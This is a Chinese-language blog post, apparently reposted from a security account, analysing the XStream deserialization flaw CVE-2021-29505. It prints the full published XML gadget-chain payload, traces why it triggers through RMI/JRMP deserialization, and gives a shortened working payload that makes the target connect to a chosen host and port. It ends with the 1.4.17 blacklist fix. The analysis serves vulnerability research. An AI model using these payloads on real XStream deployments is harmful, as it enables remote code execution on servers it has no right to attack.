XStream CVE-2021-29505分析与简化

XStream CVE-2021-29505分析与简化

XStream CVE-2021-29505分析与简化

简介

最近有点其他事,很久没有更新了。正好看到XStream又发布最新的漏洞通告了,而且还有很多人复现,维度缺少分析文章。而且XStream官网公布的payload貌似不能正常使用,者激发了我的好奇心。恰好前段时间分析微某ao积累了一点点XStream分析经验。

漏洞分析

我们首先明确一点,XStream是一个序列化存储对象的库,类似于java原生的序列化。所以Xstream可以用在任何地方。很多公众号通过web接口去复现xstream的方法是及其不负责的,很让人容易产生错觉。

Xstream新增了很多功能,例如可以序列化未继承自java.io.serializable接口的类的对象。其他功能均与java原生的序列化功能一样,如果xstream在反序列化的时候发现还原继承自java.io.serializable的类,则同样会调用对象的readObject方法。

Ysoserial所有的payload均可以转换为xstream格式

所以反序列化漏洞的特点在于类的readObject方法,分析的时候重点看readObject方法都做了什么操作。

目前xstream的修复方案是,没有修复方案,就新增几个黑名单。但是我们知道,xstream可以反序列化任意文件,所以gadget相对好挖

cve-2021-29505的payload如下所示,

  1. <java.util.PriorityQueue serialization='custom'>
  2. <unserializable-parents/>
  3. <java.util.PriorityQueue>
  4. <default>
  5. <size>2</size>
  6. </default>
  7. <int>3</int>
  8. <javax.naming.ldap.Rdn_-RdnEntry>
  9. <type>12345</type>
  10. <value class='com.sun.org.apache.xpath.internal.objects.XString'>
  11. <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: <none></m__obj>
  12. </value>
  13. </javax.naming.ldap.Rdn_-RdnEntry>
  14. <javax.naming.ldap.Rdn_-RdnEntry>
  15. <type>12345</type>
  16. <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
  17. <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
  18. <parsedMessage>true</parsedMessage>
  19. <soapVersion>SOAP_11</soapVersion>
  20. <bodyParts/>
  21. <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
  22. <attachmentsInitialized>false</attachmentsInitialized>
  23. <multiPart class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
  24. <soapPart/>
  25. <mm>
  26. <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
  27. <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
  28. <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
  29. <names>
  30. <string>aa</string>
  31. <string>aa</string>
  32. </names>
  33. <ctx>
  34. <environment/>
  35. <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
  36. <java.rmi.server.RemoteObject>
  37. <string>UnicastRef</string>
  38. <string>ip2</string>
  39. <int>1099</int>
  40. <long>0</long>
  41. <int>0</int>
  42. <short>0</short>
  43. <boolean>false</boolean>
  44. </java.rmi.server.RemoteObject>
  45. </registry>
  46. <host>ip2</host>
  47. <port>1099</port>
  48. </ctx>
  49. </candidates>
  50. </aliases>
  51. </it>
  52. </mm>
  53. </multiPart>
  54. </sm>
  55. </message>
  56. </value>
  57. </javax.naming.ldap.Rdn_-RdnEntry>
  58. </java.util.PriorityQueue>
  59. </java.util.PriorityQueue>

当然,这段从官网上摘抄的poc是无法使用的,原因我们一会再讲,我们主要说一下xstream是怎么存储一个对象的。

如果序列化自一个对象,则xml的开始标签为对象的类的名称,如果该类存在readObject方法,则标签内注明serialization=’custom’。在这里,xstream是不负责被序列化的类的一致性检测(suid)的。所以使用xstream在做某些序列化对象的操作的时候一定要注意。

与java原生反序列化存储格式相同,xml标签中,首先存储父类的字段信息,然后再存储子类的。顺序则按照类声明字段的顺序。每一层,都会注明子类的全限定名。在对象中,每个xml标签对应着对象的字段。

xstream为了不过多干涉用户的序列化工作,又为了安全性着想,只弄了一个简简单单的黑名单。但是xstream的官方建议是,自己写黑名单类!1.4.16的黑名单类如下,两个都是,也没必要搞清楚了,知道是过滤就行了。

图片图片

好了,现在基础知识我们知道了。下面开始分析上面的poc,

java.util.PriorityQueue类顾名思义,维持一个有序队列。为了保证反序列化后的队列是有序的,所以在无序地还原完所有元素后,调用heapify方法,将目前无序的队列变成有序的。在这里java为了给我们很大的自由度,规定只要继承自Compare接口的类都可以用来做排序算法。(思考一下是不是与c#的typeConfused gadget类似)

一般java.util.PriorityQueue类的反序列化出发点都会在heapify方法中,也就是调整元素的顺序。但是上面的poc显然并不是这样触发的,原因是poc中根本就没有还原compare字段。

按照我刚才的思路,找poc中类的readObject方法去分析,发现JRMP最终是由sun.rmi.registry.RegistryImpl_Stub去处理。下面我们看看相关代码

要还原RegistryImpl_Stub对象,按照反序列化先后顺序,首先还原父类的字段信息,也就是java.rmi.server.RemoteObject,在poc中已经写明。然后调用java.rmi.server.RemoteObject的readObject方法

图片

首先实例化UnicastRef对象,然后调用UnicastRef对象的readExternal方法,最终实际调用的代码如下图片

看到DGCClient.registerRefs,一切就简单明了。在先知上的 针对RMI服务的九重攻击 - 下中已经分析过了。部分截图如下

图片

既然我们已经知道了触发流程,那么来简化一下poc吧,删掉不需要的地方,只保留sun.rmi.registry.RegistryImpl_Stub部分,注意别只保留java.rmi.server.RemoteObject部分,因为java.rmi.server.RemoteObject是抽象类,不可以被直接实例化的。反序列化也要遵守JVM的规定。至于为什么原始payload这么长,而实际paload这么短,我个人猜测洞主可能是通过某些自己写的工具自动化分析生成导致。

  1. <sun.rmi.registry.RegistryImpl_Stub serialization="custom">
  2. <java.rmi.server.RemoteObject>
  3. <string>UnicastRef</string>
  4. <string>127.0.0.1</string>
  5. <int>8001</int>
  6. <long>0</long>
  7. <int>0</int>
  8. <long>0</long>
  9. <short>0</short>
  10. <boolean>false</boolean>
  11. </java.rmi.server.RemoteObject>
  12. </sun.rmi.registry.RegistryImpl_Stub>

这个漏洞是利用JRMP连接中,使用java反序列化协议传输数据造成的反序列化漏洞。也就是说,你的目标机中要有相关gadget

触发一下poc图片

修复分析

我们看一下xstream 1.4.17的黑名单变化图片

将与rmi有关的类名,全部加入黑名单中。但是治标不治本,weblogic包中也有很多关于rmi的部分哟,祝大家挖的愉快

文章转载于”宽字节安全”公众号,已取得转载授权。

  • 发表于 2021-06-02 09:37:56
  • 阅读 ( 6965 )
  • 分类:漏洞分析

0 条评论

带头大哥
带头大哥

50 篇文章

站长统计